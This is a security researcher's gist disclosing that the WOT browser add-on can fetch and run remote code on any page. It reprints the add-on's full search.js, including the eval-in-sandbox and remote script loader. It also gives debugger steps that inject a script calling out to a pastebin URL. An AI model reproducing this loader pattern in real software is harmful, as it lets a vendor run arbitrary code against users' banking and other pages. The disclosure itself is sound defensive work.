Skip to content

Instantly share code, notes, and snippets.

@Rob--W
Last active August 8, 2020 03:02
Show Gist options
  • Save Rob--W/bda5f28a0ac3b877780c6665bbed2e1b to your computer and use it in GitHub Desktop.
Save Rob--W/bda5f28a0ac3b877780c6665bbed2e1b to your computer and use it in GitHub Desktop.
Analysis of WOT 20151208

Timeline

Subject

Summary

  • The WOT add-on can execute arbitrary code on any page, including privileged browser pages.
  • Impact and severity: Critical. If WOT wants to, they can do anything ranging from stealing banking credentials to installing malware on the user's computer.
  • At the time of analysis, this functionality was not abused.

Evidence

Entry point of remote code execution

  1. content/search.js:1144 addscript is a function that takes a string and executes it in a "sandbox", with the same principal as the content parameter.
  2. content/search.js:913 calls this.addscript if there is the rule variable has a property "script".

Issue A: rule.script originates from an external source

At the time of analysis, I found no rules with a script attribute. This was checked by enumerating all values of the this.rules dictionary in matchrule (content/search.js:774) and checking whether the "script" key existed. The this.rules dictionary contains several keys, e.g. "aolsearch". When I looked through the source code of the whole add-on package, I did not find any reference to "aolsearch" - this suggests that the rules are either obfuscated or fetched from an external source. Considering that the add-on was updated half a year ago, the latter is much more likely, i.e. the rules originate from an external server.

To simulate what happens when the script attribute is set, I modified the add-on to unconditionally add a rule.script attribute that prints a message. I confirmed that the script ran (in a "sandbox").

Issue B: The remote script has access to the page DOM

When I used console.log(document.URL), the current page URL is printed. This proves that the script has full access to the DOM of any web page.

Issue C: The sandbox contains a method to load a remote script

content/search.js:114 addScript does not only run scripts, it also adds some methods. Including a method "wot_loadscript". This method is defined as "loadscript" in content/search.js:978, and fetches and runs a remote script.

Issue D: Obfuscation

The set of rules is saved in storage as "search", via a method called innocently "setchar". It is not obvious at all that these keys have such dangerous capabilities.

The functionality was introduced 7 years ago, and is not present in the current Chrome extension.

Demo: Fetch and execute a remote script

I set up a remote script at https://pastebin.mozilla.org/8924225:

console.log("remote read from " + document.URL);

and then followed the following steps:

  1. Enabled browser debugging via about:debugging
  2. Open the Browser Toolbox
  3. Install WOT and restart browser
  4. Visit Google and searched for "example"
  5. Go to the Browser Toolbox, Debugger and put a breakpoint at line 829 in content/search.js of WOT.
  6. The breakpoint is hit within a split second because WOT periodically polls the page for content.
  7. Assign rule.script = 'console.log("This is a rule");wot_loadscript("https://pastebin.mozilla.org/?dl=8924225");';
  8. Continue breakpoint.

The console shows both messages, proving that rule.script is executed, and also that the script can execute more code via wot_loadscript.

Screenshot of debugger

/*
search.js
Copyright © 2006-2012 WOT Services Oy <info@mywot.com>
This file is part of WOT.
WOT is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
WOT is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
License for more details.
You should have received a copy of the GNU General Public License
along with WOT. If not, see <http://www.gnu.org/licenses/>.
*/
var wot_search =
{
attrstr: [
WOT_SEARCH_DISPLAY,
WOT_SEARCH_URL,
WOT_SEARCH_IGN,
WOT_SEARCH_URLIGN,
WOT_SEARCH_PRESTYLE,
WOT_SEARCH_SCRIPT,
WOT_SEARCH_STYLE,
WOT_SEARCH_NINJA
],
attrint: [
WOT_SEARCH_DYNAMIC,
WOT_SEARCH_SEARCHLEVEL
],
load_delayed: function()
{
try {
if (this.rules) {
return;
}
this.attribute = wot_crypto.getrandomid();
this.processed = wot_crypto.getrandomid();
this.prestyleid = wot_crypto.getrandomid();
this.rules = {};
/* Prefs */
this.sync();
this.pbi = wot_prefs.pref.QueryInterface(
Components.interfaces.nsIPrefBranch2);
this.pbi.addObserver(WOT_PREF + WOT_SEARCH, this, false);
} catch (e) {
dump("wot_search.load: failed with " + e + "\n");
}
},
unload: function()
{
try {
if (this.pbi) {
this.pbi.removeObserver(WOT_PREF + WOT_SEARCH, this);
this.pbi = null;
}
} catch (e) {
dump("wot_search.unload: failed with " + e + "\n");
}
},
/* Parsing */
setint: function(entry, value)
{
return this.setchar(entry, value, true);
},
setchar: function(entry, value, is_number)
{
try {
var sr = wot_storage.get("search", {});
if (value !== null && value !== undefined) {
sr[entry] = value;
} else {
delete sr[entry];
}
wot_storage.set("search", sr);
return true;
} catch (e) {
dump("wot_search.setchar: failed with " + e + "\n");
}
return false;
},
getrule: function (entry, def_value) {
// extend entry name to fully qualified (prepended with "search.")
var fullentry = entry.indexOf("search") == 0 ? entry : "search." + entry,
val = this._searchrules[fullentry];
return val === undefined ? def_value : val;
},
parsecontentrules: function(base, child)
{
try {
var attr = 0, value = 0;
var node = child.firstChild;
while (node) {
if (node.nodeName == WOT_SEARCH_CONTENT_ATTR) {
/* Attribute rule */
var key = base + WOT_SEARCH_CONTENT_ATTR + attr + ".";
/* Flags (optional) */
this.setchar(key + WOT_SEARCH_CONTENT_FLAGS,
node.getAttribute(WOT_SEARCH_CONTENT_FLAGS));
/* Attribute name and regexp */
if (this.setchar(key + WOT_SEARCH_CONTENT_NAME,
node.getAttribute(WOT_SEARCH_CONTENT_NAME)) &&
this.setchar(key + WOT_SEARCH_CONTENT_RE,
node.getAttribute(WOT_SEARCH_CONTENT_RE))) {
++attr;
} else {
// wot_prefs.deleteBranch(key);
this.setchar(key + WOT_SEARCH_CONTENT_FLAGS, null);
this.setchar(key + WOT_SEARCH_CONTENT_NAME, null);
this.setchar(key + WOT_SEARCH_CONTENT_RE, null);
}
} else if (node.nodeName == WOT_SEARCH_CONTENT_VALUE) {
/* Value rule */
var key = base + WOT_SEARCH_CONTENT_VALUE + value + ".";
/* Flags (optional) */
this.setchar(key + WOT_SEARCH_CONTENT_FLAGS,
node.getAttribute(WOT_SEARCH_CONTENT_FLAGS));
/* Regexp */
if (this.setchar(key + WOT_SEARCH_CONTENT_RE,
node.getAttribute(WOT_SEARCH_CONTENT_RE))) {
++value;
} else {
// wot_prefs.deleteBranch(key);
this.setchar(key + WOT_SEARCH_CONTENT_FLAGS, null);
this.setchar(key + WOT_SEARCH_CONTENT_RE, null);
}
}
node = node.nextSibling;
}
} catch (e) {
dump("wot_search.parsecontentrules: failed with " + e + "\n");
}
},
parsematchrule: function(base, child, match)
{
try {
var entry = base + child.nodeName + match + ".";
/* Condition */
var cond = child.getAttribute(WOT_SEARCH_MATCH_COND);
this.setchar(entry + WOT_SEARCH_MATCH_COND, cond);
if (cond) {
var index = 0;
var node = child.firstChild;
/* Subrules */
while (node) {
if (node.nodeName == WOT_SEARCH_MATCH) {
this.parsematchrule(entry, node, index++);
}
node = node.nextSibling;
}
return;
}
/* Document (optional) */
this.setchar(entry + WOT_SEARCH_MATCH_DOC,
child.getAttribute(WOT_SEARCH_MATCH_DOC));
/* Element */
if (!this.setchar(entry + WOT_SEARCH_MATCH_ELEM,
child.getAttribute(WOT_SEARCH_MATCH_ELEM))) {
return;
}
/* Content rules */
this.parsecontentrules(entry, child);
} catch (e) {
dump("wot_search.parsematchrule: failed with " + e + "\n");
}
},
parseprerule: function(base, child, pre)
{
try {
var entry = base + WOT_SEARCH_PRE + pre + ".";
if (this.setchar(entry + WOT_SEARCH_PRE_RE,
child.getAttribute(WOT_SEARCH_PRE_RE)) &&
this.setint(entry + WOT_SEARCH_PRE_MATCH,
child.getAttribute(WOT_SEARCH_PRE_MATCH))) {
return true;
} else {
// wot_prefs.deleteBranch(entry);
this.setchar(entry + WOT_SEARCH_PRE_RE, null);
this.setchar(entry + WOT_SEARCH_PRE_MATCH, null);
}
} catch (e) {
dump("wot_search.parseprerule: failed with " + e + "\n");
}
return false;
},
parserule: function(node)
{
try {
var name = node.getAttribute(WOT_SERVICE_XML_UPDATE_SEARCH_NAME);
if (!name) {
return;
}
var base = WOT_SEARCH + "." + name + ".";
var enabled = wot_prefs.getBool(base + WOT_SEARCH_ENABLED, true);
wot_prefs.deleteBranch(base);
/* Don't forget the enabled status */
if (!enabled) {
wot_prefs.setBool(base + WOT_SEARCH_ENABLED, enabled);
}
var url = node.getAttribute(WOT_SEARCH_URL);
var display = node.getAttribute(WOT_SEARCH_DISPLAY);
if (!url || !display) {
return;
}
var remove = node.getAttribute(WOT_SEARCH_REMOVE);
if (remove && remove.toLowerCase() == "true") {
return;
}
for (var j = 0; j < this.attrstr.length; ++j) {
this.setchar(base + this.attrstr[j],
node.getAttribute(this.attrstr[j]));
}
for (var j = 0; j < this.attrint.length; ++j) {
this.setint(base + this.attrint[j],
node.getAttribute(this.attrint[j]));
}
var index = [];
var child = node.firstChild;
while (child) {
var elem = child.nodeName;
if (elem) {
index[elem] = index[elem] || 0;
if (elem == WOT_SEARCH_PRE) {
this.parseprerule(base, child, index[elem]++);
} else if (elem == WOT_SEARCH_MATCH ||
elem == WOT_SEARCH_POPUP) {
this.parsematchrule(base, child, index[elem]++);
} else if (elem == WOT_SEARCH_TARGET) {
this.parsecontentrules(base + WOT_SEARCH_TARGET + ".",
child);
}
}
child = child.nextSibling;
}
} catch (e) {
dump("wot_search.parserule: failed with " + e + "\n");
}
},
parse: function(search)
{
try {
this.loading = true;
wot_storage.set("search", {}); // clear stored search rules and start from scratch
for (var i = 0; i < search.length; ++i) {
this.parserule(search[i]);
}
wot_storage.flush(true);
this.sync();
} catch (e) {
dump("wot_search.parse: failed with " + e + "\n");
}
this.loading = false;
},
/* Loading */
observe: function(subject, topic, state)
{
try {
if (!this.loading && topic == "nsPref:changed") {
this.sync();
}
} catch (e) {
dump("wot_search.observe: failed with " + e + "\n");
}
},
loadruletree: function(node, pref, next)
{
try {
/* 1 = array, 2 = index, 4 = next */
var m = next.match(RegExp("^([^\d\.]+)(\\d+)(\.(.+))?"));
if (m && m[1] && m[2] != null && m[4]) {
var name = m[1], index = Number(m[2]);
node[name] = node[name] || [];
node[name][index] =
this.loadruletree(node[name][index] || {}, pref, m[4]);
} else {
node[next] = this.getrule(pref, "");
}
return node;
} catch (e) {
dump("wot_search.loadmatch: failed with " + e + "\n");
}
return null;
},
loadmatchrule: function(name, attr, pref, index, next)
{
try {
this.rules[name][attr] = this.rules[name][attr] || {
match: [],
condition: "and"
};
this.rules[name][attr].match[index] =
this.loadruletree(this.rules[name][attr].match[index] || {},
pref, next);
} catch (e) {
dump("wot_search.loadmatchrule: failed with " + e + "\n");
}
},
loadprerule: function(name, pref, index, attr)
{
try {
this.rules[name].pre = this.rules[name].pre || [];
this.rules[name].pre[index] = this.rules[name].pre[index] || {};
if (attr == WOT_SEARCH_PRE_MATCH) {
this.rules[name].pre[index][attr] = this.getrule(pref, 0);
} else if (attr == WOT_SEARCH_PRE_RE) {
this.rules[name].pre[index][attr] = this.getrule(pref, "");
}
} catch (e) {
dump("wot_search.loadprerule: failed with " + e + "\n");
}
},
loadrule: function(rule)
{
try {
/* 1 = name, 4 = attribute, 5 = attribute index, 7 = next */
var m = rule.match(/^([^\.]+)(\.(([^\.\d]+)(\d+)?)(\.(.+))?)?/);
if (!m) {
return;
}
var name = m[1], attr = m[4], index = Number(m[5]), next = m[7];
if (!name || !attr) {
return;
}
if (!this.rules[name]) {
this.rules[name] = {
rule: name,
enabled: true
};
}
var pref = WOT_SEARCH + "." + rule;
if (m[5] != null && next) {
if (attr == WOT_SEARCH_PRE) {
this.loadprerule(name, pref, index, next);
} else if (attr == WOT_SEARCH_MATCH ||
attr == WOT_SEARCH_POPUP) {
this.loadmatchrule(name, attr, pref, index, next);
}
} else if (attr == WOT_SEARCH_TARGET) {
this.rules[name].target =
this.loadruletree(this.rules[name].target || {},
pref, next);
} else if (this.attrint.indexOf(attr) >= 0) {
this.rules[name][attr] = this.getrule(pref, 0);
} else if (this.attrstr.indexOf(attr) >= 0) {
this.rules[name][attr] = this.getrule(pref, "");
} else {
this.rules[name][attr] = this.getrule(pref, true);
}
} catch (e) {
wot_tools.wdump("wot_search.loadrule: failed with " + e);
}
},
sync: function()
{
try {
this.rules = {};
this._searchrules = wot_storage.get("search", {});
var keyword = "search.",
kw_len = keyword.length;
for (var i in this._searchrules) {
if (!this._searchrules.hasOwnProperty(i)) continue;
if (i.indexOf(keyword) == 0) { // remove prepending "search." keyword
i = i.slice(kw_len);
}
this.loadrule(i);
}
} catch (e) {
wot_tools.wdump("wot_search.sync: failed with " + e);
}
},
/* Processing */
domcontentloaded: function(event)
{
try { // Workaround to resolve "TypeError: can't access dead object" at start of the browser
if (!event.originalTarget) {
wot_tools.wdump("event.originalTarget is undefined");
return;
}
} catch (e) {
return; } // do nothing
try {
event.originalTarget.wot_domloaded = Date.now();
wot_search.watch(event.originalTarget);
} catch (e) {
wot_tools.wdump("wot_search.domcontentloaded: failed with " + e);
}
},
pageshow: function(event)
{
try { // Workaround to resolve "TypeError: can't access dead object" at start of the browser
if (!event.originalTarget) {
wot_tools.wdump("event.originalTarget is undefined");
return;
}
} catch (e) {
return; } // do nothing
if (event.originalTarget) {
var wot_domloaded = event.originalTarget.wot_domloaded || 0;
// check when the last domcontentloaded event was raised,
// and if it was long ago, force to watch the DOM again (workaround for caching issue #74)
if (Date.now() - wot_domloaded > 800) {
wot_search.watch(event.originalTarget);
}
}
},
watch: function(content)
{
try {
var rule = wot_search.process(content);
if (rule) {
if (!rule.dynamic && !content.defaultView.frameElement) {
return;
}
} else if (!wot_prefs.prefetch) {
return;
}
var mo = new MutationObserver(function(mutations, observer) {
observer.disconnect();
delete(observer);
window.setTimeout(function() {
wot_search.watch(content);
}, 500);
});
mo.observe(content, {
attributes: true, childList: true, subtree: true
});
} catch (e) {
wot_tools.wdump("wot_search.watch: failed with " + e);
}
},
processrule: function(link, rule)
{
try {
var url = link.href;
var target = null;
/* Preprocess the link */
if (rule.pre) {
for (var i = 0; i < rule.pre.length; ++i) {
if (!rule.pre[i].re) {
continue;
}
var m = new RegExp(rule.pre[i].re).exec(url);
if (m && m[rule.pre[i].match]) {
url = decodeURIComponent(m[rule.pre[i].match]);
target = wot_idn.utftoidn(wot_url.gethostname(url));
break;
}
}
}
/* See if ignored */
if (rule.ign && new RegExp(rule.ign).test(url)) {
return null;
}
/* Find target hostname */
if (!target) {
target = wot_idn.utftoidn(wot_url.gethostname(url));
}
/* Match by element if we have a target rule */
if (target && rule.target &&
!this.matchelement(rule.target, link)) {
return null;
}
return target;
} catch (e) {
dump("wot_search.processrule: failed with " + e + "\n");
}
return null;
},
is_ninja: function(rule)
{
return rule.ninja && wot_prefs.ninja_donuts;
},
addrating: function(target, content, link, rule)
{
try {
// ninja - is experimental feature to make donuts on the SERP hidden
var is_ninja = this.is_ninja(rule);
var elem = content.createElement("div");
if (elem) {
var link_parent = link.parentNode;
elem.setAttribute(this.attribute, target);
if(is_ninja) elem.setAttribute("class", "invisible");
elem.setAttribute("style", "cursor: pointer; " +
"width: 16px; " +
"height: 16px;" +
"display: inline-block;");
elem.appendChild(document.createTextNode("\u00A0"));
elem.addEventListener("click", this.onclick, false);
if(is_ninja) {
var ninja_timer = null,
visibility = null;
// clojure
var set_visibility = function set_visibility() {
elem.setAttribute("class", visibility);
};
var do_ninja = function do_ninja(event) {
// It needs to be called as clojure to access "elem"
if (ninja_timer) clearTimeout(ninja_timer);
if(event.type == "mouseout") {
visibility = "invisible";
// delay, to prevent premature hiding causes by bubled events from element's children
ninja_timer = setTimeout(set_visibility, 100);
return;
} else {
visibility = "visible";
}
set_visibility();
};
// use parent to avoid hiding donut when cursor moves to it but goes out of the link
link_parent.addEventListener("mouseover", do_ninja, false);
link_parent.addEventListener("mouseout", do_ninja, false);
}
if (link.nextSibling) {
link.parentNode.insertBefore(elem, link.nextSibling);
} else {
link.parentNode.appendChild(elem);
}
}
} catch (e) {
dump("wot_search.addrating: failed with " + e + "\n");
}
},
matchregexp: function(spec, data)
{
try {
/* Custom flags:
- n = negative match
*/
var flags = spec.flags || "";
var rv = new RegExp(spec.re, flags.replace("n", "")).test(data);
return (flags.indexOf("n") < 0) ? rv : !rv;
} catch (e) {
dump("wot_search.matchregexp: failed with " + e + "\n");
}
return false;
},
matchelement: function(match, elem)
{
var i;
try {
/* Match by attributes */
if (match.attribute && match.attribute.length) {
for (i = 0; i < match.attribute.length; ++i) {
if (!match.attribute[i].name || !match.attribute[i].re) {
continue;
}
if (!elem.hasAttribute(match.attribute[i].name) ||
!this.matchregexp(match.attribute[i],
elem.getAttribute(match.attribute[i].name))) {
return false;
}
}
}
/* Match by content */
if (match.value && match.value.length) {
if (!elem.hasChildNodes()) {
return false;
}
for (i = 0; i < match.value.length; ++i) {
if (!match.value[i].re) {
continue;
}
if (!this.matchregexp(match.value[i], elem.innerHTML)) {
return false;
}
}
}
return true;
} catch (e) {
dump("wot_search.matchelement: failed with " + e + "\n");
}
return false;
},
findmatchingelement: function(match, content)
{
try {
var set = [];
if (match.element == "$frame") {
set.push(content.defaultView.frameElement);
} else {
var docelem = content;
if (match.document == "$parent" &&
content.defaultView.parent) {
docelem = content.defaultView.parent.document;
}
if (!docelem) {
return null;
}
if (/^#/.test(match.element)) {
set.push(docelem.getElementById(
match.element.replace(/^#/, "")));
} else {
set = docelem.getElementsByTagName(match.element);
}
}
if (set && set.length) {
/* One matching element is enough */
for (var i = 0; i < set.length; ++i) {
if (set[i] && this.matchelement(match, set[i])) {
return set[i];
}
}
}
} catch (e) {
dump("wot_search.findmatchingelement: failed with " + e + "\n");
}
return null;
},
matchcontent: function(match, content)
{
try {
/* Process conditional rules */
if (match.condition && match.match) {
for (var i = 0; i < match.match.length; ++i) {
var rv = this.matchcontent(match.match[i], content);
if (match.condition == "or" && rv) {
return true;
} else if (match.condition == "and" && !rv) {
return false;
}
}
return (match.match.length == 0 || match.condition == "and");
}
/* See if there's a matching element */
if (match.element &&
this.findmatchingelement(match, content)) {
return true;
}
} catch (e) {
dump("wot_search.matchcontent: failed with " + e + "\n");
}
return false;
},
matchrule: function(content, url)
{
try {
var rule = null;
for (var i in this.rules) {
if (!this.rules[i].enabled || !this.rules[i].url) {
continue;
}
/* Match by URL */
if (!RegExp(this.rules[i].url).test(url) ||
(this.rules[i].urlign &&
RegExp(this.rules[i].urlign).test(url))) {
continue;
}
rule = this.rules[i];
break;
}
return rule;
} catch (e) {
dump("wot_search.matchrule: failed with " + e + "\n");
}
return null;
},
process: function(content)
{
try {
if (!wot_util.isenabled() || !content || !content.links) {
return null;
}
var url = null;
if (content.location && content.location.href) {
url = content.location.href;
}
if (!url) {
return null;
}
/* Using about:blank in a frame isn't cool, btw */
if (url == "about:blank" &&
content.defaultView.frameElement &&
content.defaultView.frameElement.baseURI) {
url = content.defaultView.frameElement.baseURI;
}
/* URL match */
var rule = this.matchrule(content, url);
if (!rule && !wot_prefs.prefetch) {
return null; /* If in prefetch mode, continue anyway */
}
var contentmatch = true;
if (rule && rule.match) {
/* Content match */
contentmatch = this.matchcontent(rule.match, content);
if (!contentmatch && !wot_prefs.prefetch) {
/* Return the rule anyway so we can keep an eye on content
changes */
return rule;
}
}
var haspopup = false;
if (rule && contentmatch) {
if (rule.popup && rule.popup.match &&
rule.popup.match.length) {
/* Add only only to the specified element */
var elem = this.findmatchingelement(rule.popup.match[0],
content);
if (elem) {
haspopup = wot_popup.addpopup(content, elem);
}
} else {
/* Just add to the document */
haspopup = wot_popup.addpopup(content);
}
}
/* Walk through each link and fetch ratings */
var cache = {};
var fetch = {};
var offline = wot_browser.isoffline();
for (var i = 0; i < content.links.length; ++i) {
var link = content.links[i];
if (link.isContentEditable || link.getAttribute(this.processed) ||
!link.parentNode) {
continue; /* Process each link only once */
}
var target = null;
var showrating = false;
if (rule && contentmatch) {
target = this.processrule(link, rule);
}
if (target) {
showrating = true;
} else if (wot_prefs.prefetch) {
/* Prefetch ratings for all links, not only if ratings are
shown */
target = wot_idn.utftoidn(
wot_url.gethostname(link.href));
}
if (!target) {
continue;
}
if (wot_cache.iscached(target) &&
wot_cache.get(target, "status") != WOT_QUERY_RETRY) {
cache[target] = target;
} else {
fetch[target] = target;
}
if (showrating) {
this.addrating(target, content, link, rule);
}
link.setAttribute(this.processed, true);
}
if (rule && contentmatch) {
if (rule.script) {
this.addscript(content, rule.script);
}
if(this.is_ninja(rule)) {
/* Visibility and CSS transitions for Ninja-donuts */
var ninja_style =
"div[" + this.attribute + "] {" +
"-moz-transition: opacity 0.1s cubic-bezier(0.25,0.1,0.25,1) 0.5s;" +
"} " +
"div[" + this.attribute + "].visible {" +
"-moz-transition: opacity 0s;" +
"opacity: 1.0;" +
"} " +
"div[" + this.attribute + "].invisible {" +
"opacity: 0.0;" +
"}";
this.addstyle(content, ninja_style, "wotninja");
}
if (rule.prestyle) {
this.addstyle(content, this.formatcss(rule.prestyle),
this.prestyleid);
}
/* Add styles for cached ratings */
this.update(rule, content, cache, offline);
}
/* Load missing ratings */
if (!offline) {
wot_api_link.send(rule, content, fetch);
}
return rule;
} catch (e) {
dump("wot_search.process: failed with " + e + "\n");
}
return null;
},
update: function(rule, content, cache, last)
{
try {
var style = "";
for (var i in cache) {
if (wot_cache.iscached(i)) {
var s = wot_cache.get(i, "status");
if (s == WOT_QUERY_OK || s == WOT_QUERY_LINK) {
style += this.getcss(rule, i);
}
}
}
if (style.length > 0) {
this.addstyle(content, style);
}
} catch (e) {
dump("wot_search.update: failed with " + e + "\n");
}
},
sandboxapi: {
loadscript: function(sandbox, url)
{
try {
if (!sandbox || typeof(url) != "string" ||
!/^https?\:\/\//.test(url)) {
return;
}
var request = new XMLHttpRequest();
request.open("GET", url);
new wot_cookie_remover(request);
request.onload = function() {
wot_search.sandboxapi.lastloadedscript = {
url: url,
code: request.responseText,
status: request.status,
time: Date.now()
};
if (request.status != 200 || !request.responseText ||
!request.responseText.length) {
return;
}
try {
Components.utils.evalInSandbox(request.responseText,
sandbox);
} catch (e) {
dump("wot_search.sandboxapi.loadscript: evalInSandbox " +
"failed with " + e + "\n");
}
};
request.send(null);
} catch (e) {
dump("wot_search.sandboxapi.loadscript: failed with " + e + "\n");
}
},
getlastscript: function(sandbox)
{
return this.lastloadedscript;
},
getratings: function(sandbox, url)
{
try {
if (typeof(url) != "string") {
return null;
}
var target = wot_idn.utftoidn(wot_url.gethostname(url));
if (wot_cache.isok(target)) {
var rv = {
target: target
};
for (var i = 0, a = 0; i < WOT_COMPONENTS.length; ++i) {
a = WOT_COMPONENTS[i];
rv["reputation_" + a] =
wot_cache.get(target, "reputation_" + a);
rv["confidence_" + a] =
wot_cache.get(target, "confidence_" + a);
rv["testimony_" + a] =
wot_cache.get(target, "testimony_" + a);
rv["excluded_" + a] =
wot_cache.get(target, "excluded_" + a);
}
return rv;
}
} catch (e) {
dump("wot_search.sandboxapi.getratings: failed with " + e +
"\n");
}
return null;
},
getpreference: function(sandbox, name)
{
try {
if (typeof(name) != "string") {
return null;
}
var type = wot_prefs.pref.getPrefType(WOT_PREF + name);
switch (type) {
case wot_prefs.pref.PREF_STRING:
return wot_prefs.getChar(name);
case wot_prefs.pref.PREF_INT:
return wot_prefs.getInt(name);
case wot_prefs.pref.PREF_BOOL:
return wot_prefs.getBool(name);
}
} catch (e) {
dump("wot_search.sandboxapi.getpreference: failed with " + e +
"\n");
}
return null;
},
setpreference: function(sandbox, name, value)
{
try {
if (typeof(name) != "string") {
return false;
}
var rv = false;
switch (typeof(value)) {
case "string":
rv = wot_prefs.setChar(name, value);
break;
case "number":
rv = wot_prefs.setInt(name, value.toFixed());
break;
case "boolean":
rv = wot_prefs.setBool(name, value);
break;
}
if (rv) {
wot_prefs.flush();
return rv;
}
} catch (e) {
dump("wot_search.sandboxapi.setpreference: failed with " + e +
"\n");
}
return false;
},
getapiparams: function(sandbox)
{
try {
return wot_url.getapiparams();
} catch (e) {
dump("wot_serach.sandboxapi.getapiparams: failed with " + e +
"\n");
}
}
},
getsandboxfunc: function(sandbox, name, obj)
{
obj = obj || wot_search.sandboxapi;
return function() {
var args = [ sandbox ];
for (var i = 0; i < arguments.length; ++i) {
args.push(arguments[i]);
}
return obj[name].apply(obj, args);
};
},
addscript: function(content, code)
{
try {
if (!wot_prefs.search_scripts || !code.length) {
return;
}
var sandbox = content.wotsandbox;
if (!sandbox) {
var wnd = new XPCNativeWrapper(content.defaultView);
var sandbox = new Components.utils.Sandbox(wnd, {
sandboxPrototype: wnd
});
sandbox.window = wnd;
sandbox.document = sandbox.window.document;
sandbox.wot_loadscript =
this.getsandboxfunc(sandbox, "loadscript");
sandbox.wot_getlastscript =
this.getsandboxfunc(sandbox, "getlastscript");
sandbox.wot_getratings =
this.getsandboxfunc(sandbox, "getratings");
sandbox.wot_getpreference =
this.getsandboxfunc(sandbox, "getpreference");
sandbox.wot_setpreference =
this.getsandboxfunc(sandbox, "setpreference");
sandbox.wot_getapiparams =
this.getsandboxfunc(sandbox, "getapiparams");
content.wotsandbox = sandbox;
}
try {
Components.utils.evalInSandbox(code, sandbox);
} catch (e) {
dump("wot_search.addscript: evalInSandbox failed with " +
e + "\n");
}
} catch (e) {
dump("wot_search.addscript: failed with " + e + "\n");
}
},
addstyle: function(content, css, id)
{
try {
if (id && content.getElementById(id)) {
return;
}
var style = content.createElement("style");
style.setAttribute("type", "text/css");
if (id) {
style.setAttribute("id", id);
}
var text_node = content.createTextNode(css);
style.appendChild(text_node);
var head = content.getElementsByTagName("head");
if (head && head.length > 0) {
head[0].appendChild(style);
}
} catch (e) {
dump("wot_search.addstyle: failed with " + e + "\n");
}
},
formatcss: function(css)
{
return css.replace(/ATTR/g, this.attribute);
},
getreputation: function(name)
{
try {
var status = wot_cache.get(name, "status");
if (status != WOT_QUERY_OK && status != WOT_QUERY_LINK) {
return -1;
}
if (wot_cache.get(name, "excluded_0")) {
return -2;
}
var r = wot_cache.get(name, "reputation_0");
// respect "Parental control" setting and use the worst reputation between app0 and app4
if (wot_prefs.warning_level_4 > 0) {
var r_app4 = wot_cache.get(name, "reputation_4");
if (r_app4 >= 0 && r_app4 < r) {
r = r_app4;
}
}
return r;
} catch (e) {
dump("wot_search.getreputation: failed with " + e + "\n");
}
return -1;
},
getcss: function(rule, name)
{
try {
if (!rule.style) {
return "";
}
var r = this.getreputation(name);
if ((wot_prefs.use_search_level && r >= wot_prefs.search_level) ||
(rule.searchlevel != null && r >= rule.searchlevel)) {
return "";
}
var css = this.formatcss(rule.style);
css = css.replace(/NAME/g, name);
return css.replace(/IMAGE/g, wot_ui.geticonurl(r, 16, true));
} catch (e) {
dump("wot_search.getcss: failed with " + e + "\n");
}
return "";
},
onclick: function(event)
{
try {
var target = event.originalTarget.getAttribute(wot_search.attribute);
if (target) {
wot_browser.openscorecard(target, null, WOT_URL_POPUPDONUTS);
event.stopPropagation();
}
} catch (e) {
dump("wot_search.onclick: failed with " + e + "\n");
}
}
};
wot_modules.push({ name: "wot_search", obj: wot_search });
@maximang
Copy link

Hi Rob, did you see that WOT have updated their extension and it's back online on both Firefox and Chrome extensions marketplace? What do you think about it? Is the extension safe?
Source: https://www.mywot.com/en/blog/were-back

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment